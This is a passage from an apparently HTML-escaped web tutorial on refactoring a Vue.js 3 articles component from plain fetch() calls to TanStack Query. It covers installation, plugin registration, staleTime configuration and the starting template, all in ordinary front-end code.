&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.isLoading &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/api/articles&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; response.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.articles &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; data;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Failed to fetch articles:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, error);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.error &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Oops! Something went wrong.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.isLoading &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sure, it works, but it’s like using a butter knife to cut down a tree. It gets the job done… eventually.&lt;/p&gt;
&lt;h2 id=&quot;enter-tanstack-query-your-data-fetching-superhero&quot;&gt;Enter TanStack Query: Your Data-Fetching Superhero&lt;/h2&gt;
&lt;p&gt;TanStack Query, the one you know from React but also available for Vue.js, is like giving your Vue.js 3 app a superpower. It’s not just about fetching data; it’s about managing your entire data lifecycle with elegance and efficiency. Here’s a taste of what we’re talking about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Caching: Say goodbye to unnecessary API calls. TanStack Query remembers your data, so you don’t have to.&lt;/li&gt;
&lt;li&gt;Background Updates: Keep your data fresh without pestering your users. (I used &lt;code&gt;refetchInterval&lt;/code&gt; in this guide, we’ll get to it)&lt;/li&gt;
&lt;li&gt;Error Handling: Gracefully handle those pesky network hiccups.&lt;/li&gt;
&lt;li&gt;Loading States: No more manual &lt;code&gt;isLoading&lt;/code&gt; flags!&lt;/li&gt;
&lt;li&gt;Pagination and Infinite Scrolling: Handle complex data scenarios with ease.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And the best part? It plays beautifully with Vue.js 3’s Composition API. It’s like they were made for each other.&lt;/p&gt;
&lt;p&gt;In this write-up I’ll walk through a refactor of an articles component from using basic &lt;code&gt;fetch()&lt;/code&gt; calls to leveraging the full power of TanStack Query.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-tanstack-query-in-a-vuejs-3-project&quot;&gt;Setting Up TanStack Query in a Vue.js 3 Project&lt;/h2&gt;
&lt;p&gt;First things first, we need to add TanStack Query to our project. Open up your terminal, navigate to your project directory, and run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install --save @tanstack/vue-query&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we’ve got the package installed, it’s time to tell Vue about our shiny new toy. We’re going to set up the Vue Query plugin in our app’s entry point.&lt;/p&gt;
&lt;p&gt;Typically, in a Vue.js 3 project, you’ll have a &lt;code&gt;src/plugins/index.js&lt;/code&gt; file where all your plugins are configured. If you don’t have this file, go ahead and create it. We’re going to modify this file to include TanStack Query.&lt;/p&gt;
&lt;p&gt;Here’s what your &lt;code&gt;src/plugins/index.js&lt;/code&gt; file should look like after adding TanStack Query:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// src/plugins/index.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { loadFonts } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./webfontloader&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { VueQueryPlugin } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; vuetify &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./vuetify&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pinia &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;../store&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; router &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;../router&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;registerPlugins&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadFonts&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(vuetify)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(router)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(pinia)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(VueQueryPlugin)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The change we actually did is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We import &lt;code&gt;VueQueryPlugin&lt;/code&gt; from &lt;code&gt;@tanstack/vue-query&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the &lt;code&gt;registerPlugins&lt;/code&gt; function, we add &lt;code&gt;.use(VueQueryPlugin)&lt;/code&gt; to the chain of plugin registrations.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to get fancy, you can customize the &lt;code&gt;VueQueryPlugin&lt;/code&gt; with some options. For example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { VueQueryPlugin } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;registerPlugins&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... other plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(VueQueryPlugin, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    queryClientConfig: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      defaultOptions: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        queries: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          staleTime: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 5 minutes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This configuration sets a default &lt;code&gt;staleTime&lt;/code&gt; of 5 minutes for all queries. We’ll dive deeper into what this means later, but for now, just know it’s like telling TanStack Query, “Hey, consider my data fresh for 5 minutes before you think about fetching it again.”&lt;/p&gt;
&lt;p&gt;To make sure everything’s hooked up correctly, you can add a simple log in your main Vue component:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { useQueryClient } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;queryClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQueryClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;TanStack Query is ready:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;queryClient)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you see “TanStack Query is ready: true” in your console, pop open the champagne (or your beverage of choice) – you’re all set!&lt;/p&gt;
&lt;h2 id=&quot;refactoring-fetch-in-favor-of-tanstack-query-component&quot;&gt;Refactoring fetch() in favor of TanStack Query Component&lt;/h2&gt;
&lt;p&gt;It’s time to take our Articles component and give it the TanStack Query glow-up. We’re going to transform our old-school &lt;code&gt;fetch()&lt;/code&gt; implementation into a sleek, reactive data-fetching powerhouse.&lt;/p&gt;
&lt;p&gt;Let’s start by looking at our original implementation that uses &lt;code&gt;fetch()&lt;/code&gt;. It probably looks something like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isLoading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Loading...&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Error: {{ error }}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; articlesList&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;&amp;#x3C;!-- Article item content --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
